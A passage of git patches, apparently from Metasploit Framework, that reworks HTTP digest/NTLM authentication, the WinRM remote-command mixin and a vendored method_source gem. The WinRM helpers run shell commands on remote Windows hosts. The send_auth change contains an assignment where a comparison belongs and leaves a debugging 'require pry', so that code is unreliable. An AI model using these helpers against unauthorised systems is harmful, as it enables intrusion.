to the beginning of string because header - # folding makes it appear later when the server presents multiple - # WWW-Authentication options (such as is the case with IIS configured - # for Digest or NTLM). - resp['www-authenticate'] =~ /Digest (.*)/ - - parameters = {} - $1.split(/,[[:space:]]*/).each do |p| - k, v = p.split("=", 2) - parameters[k] = v.gsub('"', '') - end - - qop = parameters['qop'] - - if parameters['algorithm'] =~ /(.*?)(-sess)?$/ - algorithm = case $1 - when 'MD5' then Digest::MD5 - when 'SHA1' then Digest::SHA1 - when 'SHA2' then Digest::SHA2 - when 'SHA256' then Digest::SHA256 - when 'SHA384' then Digest::SHA384 - when 'SHA512' then Digest::SHA512 - when 'RMD160' then Digest::RMD160 - else raise Error, "unknown algorithm \"#{$1}\"" - end - algstr = parameters["algorithm"] - sess = $2 - else - algorithm = Digest::MD5 - algstr = "MD5" - sess = false - end - - a1 = if sess then - [ - algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), - parameters['nonce'], - @cnonce - ].join ':' - else - "#{digest_user}:#{parameters['realm']}:#{digest_password}" - end - - ha1 = algorithm.hexdigest(a1) - ha2 = algorithm.hexdigest("#{method}:#{path}") - - request_digest = [ha1, parameters['nonce']] - request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop - request_digest << ha2 - request_digest = request_digest.join ':' - - # Same order as IE7 - auth = [ - "Digest username=\"#{digest_user}\"", - "realm=\"#{parameters['realm']}\"", - "nonce=\"#{parameters['nonce']}\"", - "uri=\"#{path}\"", - "cnonce=\"#{@cnonce}\"", - "nc=#{'%08x' % @nonce_count}", - "algorithm=#{algstr}", - "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", - # The spec says the qop value shouldn't be enclosed in quotes, but - # some versions of IIS require it and Apache accepts it. Chrome - # and Firefox both send it without quotes but IE does it this way. - # Use the non-compliant-but-everybody-does-it to be as compatible - # as possible by default. The user can override if they don't like - # it. - if qop.nil? then - elsif iis then - "qop=\"#{qop}\"" - else - "qop=#{qop}" - end, - if parameters.key? 'opaque' then - "opaque=\"#{parameters['opaque']}\"" - end - ].compact - - headers ={ 'Authorization' => auth.join(', ') } - headers.merge!(opts['headers']) if opts['headers'] - - - # Send main request with authentication - r = c.request_cgi(opts.merge({ - 'uri' => path, - 'method' => method, - 'headers' => headers })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - - return [resp,c] - - rescue ::Errno::EPIPE, ::Timeout::Error - end + return if not datastore['USERNAME'] + datastore['USERNAME'].to_s + ":" + (datastore['PASSWORD'].to_s || '') end ## diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 46bfffcc86..ba46142a45 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -8,6 +8,8 @@ require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/utils' require 'rex/proto/ntlm/exceptions' +require 'pry' + module Rex module Proto module Http @@ -294,7 +296,7 @@ class Client # def send_recv(req, t = -1, persist=false) res = _send_recv(req,t,persist) - if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds? + if res and res.code == 401 and res.headers['WWW-Authenticate'] res = send_auth(res, req.opts, t, persist) end res @@ -329,11 +331,6 @@ class Client conn.put(req.to_s) end - # Validates that the client has creds - def have_creds? - !(self.username.nil?) && self.username != '' - end - # Resends an HTTP Request with the propper authentcation headers # set. If we do not support the authentication type the server requires # we return the original response object @@ -343,8 +340,23 @@ class Client # @param persist [Boolean] whether or not to persist the TCP connection (pipelining) # @return [Response] the last valid HTTP response object we received def send_auth(res, opts, t, persist) - opts['username'] ||= self.username - opts['password'] ||= self.password + if opts['username'].nil? or opts['username'] == '' + if self.username and not (self.username == '') + opts['username'] = self.username + else + opts['username'] = nil + end + end + + if opts['password'].nil? or opts['password'] == '' + if self.password and not (self.password == '') + opts['password'] = self.password + else + opts['password'] = nil + end + end + + return res if opts['username'].nil? or opts['username'] = '' supported_auths = res.headers['WWW-Authenticate'] if supported_auths.include? 'Basic' if opts['headers'] From ac6fdf24a28184531ae5c90a09ce251258f30416 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 22:01:43 -0600 Subject: [PATCH 149/341] Fix winrm mixin from revert merge --- lib/msf/core/exploit/winrm.rb | 117 ++++++---------------------------- 1 file changed, 20 insertions(+), 97 deletions(-) diff --git a/lib/msf/core/exploit/winrm.rb b/lib/msf/core/exploit/winrm.rb index 72b6a1f724..e61a29e5aa 100644 --- a/lib/msf/core/exploit/winrm.rb +++ b/lib/msf/core/exploit/winrm.rb @@ -42,7 +42,7 @@ module Exploit::Remote::WinRM c = connect(opts) to = opts[:timeout] || timeout ctype = "application/soap+xml;charset=UTF-8" - resp, c = send_request_cgi(opts.merge({ + resp = send_winrm_request(opts.merge({ 'uri' => opts['uri'], 'method' => 'POST', 'ctype' => ctype, @@ -61,7 +61,7 @@ module Exploit::Remote::WinRM end def winrm_run_cmd(cmd, timeout=20) - resp,c = send_request_ntlm(winrm_open_shell_msg,timeout) + resp = send_winrm_request(winrm_open_shell_msg,timeout) if resp.nil? print_error "Recieved no reply from server" return nil @@ -76,17 +76,17 @@ module Exploit::Remote::WinRM return retval end shell_id = winrm_get_shell_id(resp) - resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout) + resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout) cmd_id = winrm_get_cmd_id(resp) - resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) streams = winrm_get_cmd_streams(resp) - resp,c = send_request_ntlm(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout) - resp,c = send_request_ntlm(winrm_delete_shell_msg(shell_id)) + resp = send_winrm_request(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_delete_shell_msg(shell_id)) return streams end def winrm_run_cmd_hanging(cmd, timeout=20) - resp,c = send_request_ntlm(winrm_open_shell_msg,timeout) + resp = send_winrm_request(winrm_open_shell_msg,timeout) if resp.nil? print_error "Recieved no reply from server" return nil @@ -101,9 +101,9 @@ module Exploit::Remote::WinRM return retval end shell_id = winrm_get_shell_id(resp) - resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout) + resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout) cmd_id = winrm_get_cmd_id(resp) - resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) streams = winrm_get_cmd_streams(resp) return streams end @@ -219,94 +219,6 @@ module Exploit::Remote::WinRM ::Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) end - def send_request_ntlm(data, timeout = 20) - opts = { - 'uri' => datastore['URI'], - 'data' => data, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - } - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - ntlm_message_1 = "NEGOTIATE " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name, - workstation_name, - ntlmssp_flags)) - to = opts[:timeout] || timeout - begin - c = connect(opts) - ctype = "application/soap+xml;charset=UTF-8" - # First request to get the challenge - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'POST', - 'ctype' => ctype, - 'headers' => { 'Authorization' => ntlm_message_1}, - 'data' => opts['data'] - })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate'] - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NEGOTIATE ([A-Z0-9\x2b\x2f=]+)/i)[1] - return [nil,nil] unless ntlm_challenge - - #old and simplier method but not compatible with windows 7/2008r2 - #ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge) - #ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true}) - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - resp_lm, - resp_ntlm, - client_challenge, - ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'], - resp_lm, resp_ntlm, '', ntlmssp_flags) - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) - # Send the response - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'POST', - 'ctype' => ctype, - 'headers' => { 'Authorization' => "NEGOTIATE #{ntlm_message_3}"}, - 'data' => opts['data'] - })) - resp = c.send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [resp,c] - rescue ::Errno::EPIPE, ::Timeout::Error - end - end - def accepts_ntlm_auth parse_auth_methods(winrm_poke).include? "Negotiate" end @@ -329,6 +241,17 @@ module Exploit::Remote::WinRM return "/root/cimv2/" end + def send_winrm_request(data, timeout=20) + opts = { + 'uri' => datastore['URI'], + 'method' => 'POST', + 'data' => data, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'ctype' => "application/soap+xml;charset=UTF-8" + } + send_request_cgi(opts,timeout) + end private From 6abbbeb3ca154776089b45c23624890b298e69b6 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 22:17:25 -0600 Subject: [PATCH 150/341] put gemcache for methodsource back --- .../1.9.1/gems/method_source-0.7.1/.gemtest | 0 .../gems/method_source-0.7.1/.travis.yml | 17 ++ .../1.9.1/gems/method_source-0.7.1/.yardopts | 1 + .../1.9.1/gems/method_source-0.7.1/Gemfile | 2 + .../1.9.1/gems/method_source-0.7.1/LICENSE | 25 +++ .../gems/method_source-0.7.1/README.markdown | 91 ++++++++++ .../1.9.1/gems/method_source-0.7.1/Rakefile | 76 ++++++++ .../method_source-0.7.1/lib/method_source.rb | 163 ++++++++++++++++++ .../lib/method_source/source_location.rb | 138 +++++++++++++++ .../lib/method_source/version.rb | 3 + .../method_source-0.7.1/method_source.gemspec | 33 ++++ .../gems/method_source-0.7.1/test/test.rb | 122 +++++++++++++ .../method_source-0.7.1/test/test_helper.rb | 50 ++++++ 13 files changed, 721 insertions(+) create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest new file mode 100644 index 0000000000..e69de29bb2 diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml new file mode 100644 index 0000000000..ba51bba6b2 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml @@ -0,0 +1,17 @@ +rvm: + - 1.8.7 + - 1.9.2 + - 1.9.3 + - ree + - rbx-18mode + - rbx-19mode + - jruby + +notifications: + irc: "irc.freenode.org#pry" + recipients: + - jrmair@gmail.com + +branches: + only: + - master diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts new file mode 100644 index 0000000000..a4e7838016 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts @@ -0,0 +1 @@ +-m markdown diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile new file mode 100644 index 0000000000..e45e65f871 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile @@ -0,0 +1,2 @@ +source :rubygems +gemspec diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE new file mode 100644 index 0000000000..d1a50d62d0 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE @@ -0,0 +1,25 @@ +License +------- + +(The MIT License) + +Copyright (c) 2011 John Mair (banisterfiend) + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +'Software'), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown new file mode 100644 index 0000000000..d91b810a3b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown @@ -0,0 +1,91 @@ +method_source +============= + +(C) John Mair (banisterfiend) 2011 + +_retrieve the sourcecode for a method_ + +*NOTE:* This simply utilizes `Method#source_location`; it + does not access the live AST. + +`method_source` is a utility to return a method's sourcecode as a +Ruby string. Also returns `Proc` and `Lambda` sourcecode. + +Method comments can also be extracted using the `comment` method. + +It is written in pure Ruby (no C). + +* Some Ruby 1.8 support now available. +* Support for MRI, RBX, JRuby, REE + +`method_source` provides the `source` and `comment` methods to the `Method` and +`UnboundMethod` and `Proc` classes. + +* Install the [gem](https://rubygems.org/gems/method_source): `gem install method_source` +* Read the [documentation](http://rdoc.info/github/banister/method_source/master/file/README.markdown) +* See the [source code](http://github.com/banister/method_source) + +Example: display method source +------------------------------ + + Set.instance_method(:merge).source.display + # => + def merge(enum) + if enum.instance_of?(self.class) + @hash.update(enum.instance_variable_get(:@hash)) + else + do_with_enum(enum) { |o| add(o) } + end + + self + end + +Example: display method comments +-------------------------------- + + Set.instance_method(:merge).comment.display + # => + # Merges the elements of the given enumerable object to the set and + # returns self. + +Limitations: +------------ + +* Occasional strange behaviour in Ruby 1.8 +* Cannot return source for C methods. +* Cannot return source for dynamically defined methods. + +Special Thanks +-------------- + +[Adam Sanderson](https://github.com/adamsanderson) for `comment` functionality. + +[Dmitry Elastic](https://github.com/dmitryelastic) for the brilliant Ruby 1.8 `source_location` hack. + +[Samuel Kadolph](https://github.com/samuelkadolph) for the JRuby 1.8 `source_location`. + +License +------- + +(The MIT License) + +Copyright (c) 2011 John Mair (banisterfiend) + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +'Software'), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile new file mode 100644 index 0000000000..92c0234f3b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile @@ -0,0 +1,76 @@ +dlext = Config::CONFIG['DLEXT'] +direc = File.dirname(__FILE__) + +require 'rake/clean' +require 'rake/gempackagetask' +require "#{direc}/lib/method_source/version" + +CLOBBER.include("**/*.#{dlext}", "**/*~", "**/*#*", "**/*.log", "**/*.o") +CLEAN.include("ext/**/*.#{dlext}", "ext/**/*.log", "ext/**/*.o", + "ext/**/*~", "ext/**/*#*", "ext/**/*.obj", "**/*.rbc", + "ext/**/*.def", "ext/**/*.pdb", "**/*_flymake*.*", "**/*_flymake") + +def apply_spec_defaults(s) + s.name = "method_source" + s.summary = "retrieve the sourcecode for a method" + s.version = MethodSource::VERSION + s.date = Time.now.strftime '%Y-%m-%d' + s.author = "John Mair (banisterfiend)" + s.email = 'jrmair@gmail.com' + s.description = s.summary + s.require_path = 'lib' + + s.add_development_dependency("bacon","~>1.1.0") + s.add_development_dependency("rake", "~>0.9") + s.homepage = "http://banisterfiend.wordpress.com" + s.has_rdoc = 'yard' + s.files = `git ls-files`.split("\n") + s.test_files = `git ls-files -- test/*`.split("\n") +end + +task :test do + sh "bacon -q #{direc}/test/test.rb" +end + +desc "reinstall gem" +task :reinstall => :gems do + sh "gem uninstall method_source" rescue nil + sh "gem install #{direc}/pkg/method_source-#{MethodSource::VERSION}.gem" +end + +desc "Set up and run tests" +task :default => [:test] + +namespace :ruby do + spec = Gem::Specification.new do |s| + apply_spec_defaults(s) + s.platform = Gem::Platform::RUBY + end + + Rake::GemPackageTask.new(spec) do |pkg| + pkg.need_zip = false + pkg.need_tar = false + end + + desc "Generate gemspec file" + task :gemspec do + File.open("#{spec.name}.gemspec", "w") do |f| + f << spec.to_ruby + end + end +end + +desc "build all platform gems at once" +task :gems => [:rmgems, "ruby:gem"] + +desc "remove all platform gems" +task :rmgems => ["ruby:clobber_package"] + +desc "build and push latest gems" +task :pushgems => :gems do + chdir("#{direc}/pkg") do + Dir["*.gem"].each do |gemfile| + sh "gem push #{gemfile}" + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb new file mode 100644 index 0000000000..9a3c325f75 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb @@ -0,0 +1,163 @@ +# (C) John Mair (banisterfiend) 2011 +# MIT License + +direc = File.dirname(__FILE__) + +require "#{direc}/method_source/version" +require "#{direc}/method_source/source_location" + +module MethodSource + # Determine if a string of code is a valid Ruby expression. + # @param [String] code The code to validate. + # @return [Boolean] Whether or not the code is a valid Ruby expression. + # @example + # valid_expression?("class Hello") #=> false + # valid_expression?("class Hello; end") #=> true + def self.valid_expression?(str) + if defined?(Rubinius::Melbourne19) && RUBY_VERSION =~ /^1\.9/ + Rubinius::Melbourne19.parse_string(str) + elsif defined?(Rubinius::Melbourne) + Rubinius::Melbourne.parse_string(str) + else + catch(:valid) { + eval("BEGIN{throw :valid}\n#{str}") + } + end + true + rescue SyntaxError + false + end + + # Helper method responsible for extracting method body. + # Defined here to avoid polluting `Method` class. + # @param [Array] source_location The array returned by Method#source_location + # @return [File] The opened source file + def self.source_helper(source_location) + return nil if !source_location.is_a?(Array) + + file_name, line = source_location + File.open(file_name) do |file| + (line - 1).times { file.readline } + + code = "" + loop do + val = file.readline + code << val + + return code if valid_expression?(code) + end + end + end + + # Helper method responsible for opening source file and buffering up + # the comments for a specified method. Defined here to avoid polluting + # `Method` class. + # @param [Array] source_location The array returned by Method#source_location + # @return [String] The comments up to the point of the method. + def self.comment_helper(source_location) + return nil if !source_location.is_a?(Array) + + file_name, line = source_location + File.open(file_name) do |file| + buffer = "" + (line - 1).times do + line = file.readline + # Add any line that is a valid ruby comment, + # but clear as soon as we hit a non comment line. + if (line =~ /^\s*#/) || (line =~ /^\s*$/) + buffer << line.lstrip + else + buffer.replace("") + end + end + + buffer + end + end + + # This module is to be included by `Method` and `UnboundMethod` and + # provides the `#source` functionality + module MethodExtensions + + # We use the included hook to patch Method#source on rubinius. + # We need to use the included hook as Rubinius defines a `source` + # on Method so including a module will have no effect (as it's + # higher up the MRO). + # @param [Class] klass The class that includes the module. + def self.included(klass) + if klass.method_defined?(:source) && Object.const_defined?(:RUBY_ENGINE) && + RUBY_ENGINE =~ /rbx/ + + klass.class_eval do + orig_source = instance_method(:source) + + define_method(:source) do + begin + super + rescue + orig_source.bind(self).call + end + end + + end + end + end + + # Return the sourcecode for the method as a string + # (This functionality is only supported in Ruby 1.9 and above) + # @return [String] The method sourcecode as a string + # @example + # Set.instance_method(:clear).source.display + # => + # def clear + # @hash.clear + # self + # end + def source + if respond_to?(:source_location) + source = MethodSource.source_helper(source_location) + + raise "Cannot locate source for this method: #{name}" if !source + else + raise "#{self.class}#source not supported by this Ruby version (#{RUBY_VERSION})" + end + + source + end + + # Return the comments associated with the method as a string. + # (This functionality is only supported in Ruby 1.9 and above) + # @return [String] The method's comments as a string + # @example + # Set.instance_method(:clear).comment.display + # => + # # Removes all elements and returns self. + def comment + if respond_to?(:source_location) + comment = MethodSource.comment_helper(source_location) + + raise "Cannot locate source for this method: #{name}" if !comment + else + raise "#{self.class}#comment not supported by this Ruby version (#{RUBY_VERSION})" + end + + comment + end + end +end + +class Method + include MethodSource::SourceLocation::MethodExtensions + include MethodSource::MethodExtensions +end + +class UnboundMethod + include MethodSource::SourceLocation::UnboundMethodExtensions + include MethodSource::MethodExtensions +end + +class Proc + include MethodSource::SourceLocation::ProcExtensions + include MethodSource::MethodExtensions +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb new file mode 100644 index 0000000000..9161854819 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb @@ -0,0 +1,138 @@ +module MethodSource + module ReeSourceLocation + # Ruby enterprise edition provides all the information that's + # needed, in a slightly different way. + def source_location + [__file__, __line__] rescue nil + end + end + + module SourceLocation + module MethodExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ + require 'java' + + # JRuby version source_location hack + # @return [Array] A two element array containing the source location of the method + def source_location + to_java.source_location(Thread.current.to_java.getContext()) + end + else + + + def trace_func(event, file, line, id, binding, classname) + return unless event == 'call' + set_trace_func nil + + @file, @line = file, line + raise :found + end + + private :trace_func + + # Return the source location of a method for Ruby 1.8. + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # method definition is found. + def source_location + if @file.nil? + args =[*(1..(arity<-1 ? -arity-1 : arity ))] + + set_trace_func method(:trace_func).to_proc + call(*args) rescue nil + set_trace_func nil + @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file)) + end + return [@file, @line] if File.exist?(@file.to_s) + end + end + end + + module ProcExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ + + # Return the source location for a Proc (Rubinius only) + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # proc definition is found. + def source_location + [block.file.to_s, block.line] + end + else + + # Return the source location for a Proc (in implementations + # without Proc#source_location) + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # proc definition is found. + def source_location + self.to_s =~ /@(.*):(\d+)/ + [$1, $2.to_i] + end + end + end + + module UnboundMethodExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ + require 'java' + + # JRuby version source_location hack + # @return [Array] A two element array containing the source location of the method + def source_location + to_java.source_location(Thread.current.to_java.getContext()) + end + + else + + + # Return the source location of an instance method for Ruby 1.8. + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # method definition is found. + def source_location + klass = case owner + when Class + owner + when Module + method_owner = owner + Class.new { include(method_owner) } + end + + # deal with immediate values + case + when klass == Symbol + return :a.method(name).source_location + when klass == Fixnum + return 0.method(name).source_location + when klass == TrueClass + return true.method(name).source_location + when klass == FalseClass + return false.method(name).source_location + when klass == NilClass + return nil.method(name).source_location + end + + begin + Object.instance_method(:method).bind(klass.allocate).call(name).source_location + rescue TypeError + + # Assume we are dealing with a Singleton Class: + # 1. Get the instance object + # 2. Forward the source_location lookup to the instance + instance ||= ObjectSpace.each_object(owner).first + Object.instance_method(:method).bind(instance).call(name).source_location + end + end + end + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb new file mode 100644 index 0000000000..b8142bfaef --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb @@ -0,0 +1,3 @@ +module MethodSource + VERSION = "0.7.1" +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec new file mode 100644 index 0000000000..83a727d6f6 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec @@ -0,0 +1,33 @@ +# -*- encoding: utf-8 -*- + +Gem::Specification.new do |s| + s.name = "method_source" + s.version = "0.7.0" + + s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= + s.authors = ["John Mair (banisterfiend)"] + s.date = "2012-01-01" + s.description = "retrieve the sourcecode for a method" + s.email = "jrmair@gmail.com" + s.files = [".gemtest", ".travis.yml", ".yardopts", "Gemfile", "LICENSE", "README.markdown", "Rakefile", "lib/method_source.rb", "lib/method_source/source_location.rb", "lib/method_source/version.rb", "method_source.gemspec", "test/test.rb", "test/test_helper.rb"] + s.homepage = "http://banisterfiend.wordpress.com" + s.require_paths = ["lib"] + s.rubygems_version = "1.8.10" + s.summary = "retrieve the sourcecode for a method" + s.test_files = ["test/test.rb", "test/test_helper.rb"] + + if s.respond_to? :specification_version then + s.specification_version = 3 + + if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then + s.add_development_dependency(%q, ["~> 1.1.0"]) + s.add_development_dependency(%q, ["~> 0.9"]) + else + s.add_dependency(%q, ["~> 1.1.0"]) + s.add_dependency(%q, ["~> 0.9"]) + end + else + s.add_dependency(%q, ["~> 1.1.0"]) + s.add_dependency(%q, ["~> 0.9"]) + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb new file mode 100644 index 0000000000..425e56acf9 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb @@ -0,0 +1,122 @@ +direc = File.dirname(__FILE__) + +require 'rubygems' +require 'bacon' +require "#{direc}/../lib/method_source" +require "#{direc}/test_helper" + +describe MethodSource do + + describe "source_location (testing 